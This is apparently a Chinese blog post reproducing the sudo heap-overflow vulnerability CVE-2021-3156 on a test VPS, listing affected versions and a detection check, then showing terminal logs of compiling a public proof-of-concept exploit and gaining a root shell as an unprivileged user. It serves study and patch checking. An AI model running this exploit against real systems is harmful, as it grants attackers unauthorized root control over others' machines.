前言

  网上已经有了很多的相关复现文章,但是还是有一些疑问,比如:

  • 普通用户如果有sudo权限的话,已经可以执行root用户能执行的命令,再去提权好像意义不大。

漏洞概述

  该漏洞是类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出
  只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

影响版本

  • sudo 1.8.2 - 1.8.31p2
  • sudo 1.9.0 - 1.9.5p1

漏洞检测

1.查看版本
sudo --version
2. 执行sudoedit -s /命令看报错

使用非root的账户登录系统,运行sudoedit -s / 命令
若返回以sudoedit:开头的错误,则当前系统可能存在安全风险。
不受影响的系统将显示以usage:开头的错误响应。
(不知道为啥我验证的时候并没有报错,直接提示我输入密码…,但是sudo版本在影响范围内)

环境准备

  • 华为云VPS(Ubuntu 18.04.4 LTS、Sudo version 1.8.21p2)

  • 创建新用户test-1无sudo权限

  • 下载大佬的EXP(没办法,自己太菜了)

开始

test-1@dreamer:/home$ cd test-1/
test-1@dreamer:~$ ls
CVE-2021-3156_nss_poc_ubuntu.tar.gz
test-1@dreamer:~$ tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz 
CVE-2021-3156/
CVE-2021-3156/hax.c
CVE-2021-3156/lib.c
CVE-2021-3156/Makefile
test-1@dreamer:~$ ls
CVE-2021-3156  CVE-2021-3156_nss_poc_ubuntu.tar.gz
test-1@dreamer:~$ cd CVE-2021-3156/
test-1@dreamer:~/CVE-2021-3156$ ls
hax.c  lib.c  Makefile

解压后,进入文件夹开始编译:

test-1@dreamer:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
test-1@dreamer:~/CVE-2021-3156$ ls
Makefile  hax.c  lib.c  libnss_X  sudo-hax-me-a-sandwich

执行sudo-hax-me-a-sandwich

test-1@dreamer:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1003(test-1)
# 

成功

其它

1:
  • 普通用户采用以上方法提权时需要在exp执行的目录有权限(比如自己的家目录),否则编译时会提示无权创建文件夹等错误
2:

  如果普通用户有sudo权限(即用户已经写入/etc/sudoers文件中)再用此漏洞提权并不是多此一举。

(刚开始想着都有sudo权限了,可以执行root用户所能执行的命令还提什么权啊)

  查了之后知道sudo并不是能执行root所有的命令,(或者说不是所有命令都能加sudo前缀的)如fdisk磁盘分区工具。root是可以对任何文件进行删除的,更可以删除系统文件导致无法启动。相反普通用户和sudo命令都无法进行删除的。

具体区别可以参考:

当然,有sudo权限已经可以做很多事情了。

问题
  1. 复现的时候发现sudo后边好像不能跟cd命令,不能通过执行sudo cd进root用户组的目录

    看了相关文章说是sudo权限没法带进目录,user和group为root的目录就只能在su的情况下进,sudo cd是不允许的

    原因:
    cd是shell的内置命令不是程序所以sudo不行


相关链接:

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐